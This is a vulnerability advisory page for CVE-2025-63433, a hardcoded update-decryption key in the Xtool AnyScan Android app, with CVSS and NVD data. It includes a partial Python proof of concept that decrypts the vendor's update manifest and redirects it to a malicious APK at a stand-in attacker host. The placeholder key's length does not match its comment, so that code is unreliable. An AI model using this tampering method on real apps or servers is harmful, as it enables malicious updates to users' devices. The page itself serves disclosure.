Security Vulnerability Report
中文
CVE-2025-63433 CVSS 4.6 MEDIUM

CVE-2025-63433

Published: 2025-11-24 17:16:08
Last Modified: 2025-11-28 17:06:07

Description

Xtooltech Xtool AnyScan Android Application 4.40.40 and prior uses a hardcoded cryptographic key and IV to decrypt update metadata. The key is stored as a static value within the application's code. An attacker with the ability to intercept network traffic can use this hardcoded key to decrypt, modify, and re-encrypt the update manifest, allowing them to direct the application to download a malicious update package.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:xtooltech:xtool_anyscan:*:*:*:*:*:android:*:* - VULNERABLE
Xtooltech Xtool AnyScan Android Application <= 4.40.40

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63433 PoC: Hardcoded Key Extraction and Update Manifest Tampering Note: This PoC demonstrates the vulnerability concept for authorized security testing only. """ import base64 import requests from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import json # Hardcoded key and IV extracted from the application (example placeholder) HARDCODED_KEY = b'XtoolSecretKey1234567890123456' # 32 bytes for AES-256 HARDCODED_IV = b'XtoolInitVector!' # 16 bytes def decrypt_manifest(encrypted_data): """Decrypt update manifest using hardcoded credentials""" try: cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, HARDCODED_IV) decrypted = unpad(cipher.decrypt(base64.b64decode(encrypted_data)), AES.block_size) return json.loads(decrypted) except Exception as e: print(f"[-] Decryption failed: {e}") return None def tamper_manifest(original_manifest, malicious_url): """Modify update URL to point to malicious server""" original_manifest['update_url'] = malicious_url original_manifest['version'] = '99.99.99' return original_manifest def main(): target_app = 'https://update.xtooltech.com/api/check_update' # Step 1: Intercept encrypted update manifest print("[*] Step 1: Intercepting update manifest...") response = requests.get(target_app, timeout=10) encrypted_manifest = response.text # Step 2: Decrypt using hardcoded key print("[*] Step 2: Decrypting manifest with hardcoded key...") manifest = decrypt_manifest(encrypted_manifest) if not manifest: print("[-] Failed to decrypt manifest") return print(f"[+] Original manifest: {json.dumps(manifest, indent=2)}") # Step 3: Tamper with malicious update URL print("[*] Step 3: Tampering with update URL...") tampered = tamper_manifest(manifest, 'https://attacker.com/malicious_update.apk') print(f"[+] Tampered manifest: {json.dumps(tampered, indent=2)}") # Step 4: Re-encrypt and inject (requires MITM) print("[*] Step 4: Re-encrypting manifest...") # Implementation would require MITM proxy to intercept and modify traffic print("[!] This PoC is for educational purposes only") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63433", "sourceIdentifier": "[email protected]", "published": "2025-11-24T17:16:07.787", "lastModified": "2025-11-28T17:06:07.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xtooltech Xtool AnyScan Android Application 4.40.40 and prior uses a hardcoded cryptographic key and IV to decrypt update metadata. The key is stored as a static value within the application's code. An attacker with the ability to intercept network traffic can use this hardcoded key to decrypt, modify, and re-encrypt the update manifest, allowing them to direct the application to download a malicious update package."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xtooltech:xtool_anyscan:*:*:*:*:*:android:*:*", "versionEndIncluding": "4.40.40", "matchCriteriaId": "9206BD15-A1A8-4913-9D0A-9ADE50B81994"}]}]}], "references": [{"url": "https://github.com/ab3lson/cve-references/tree/master/CVE-2025-63433", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}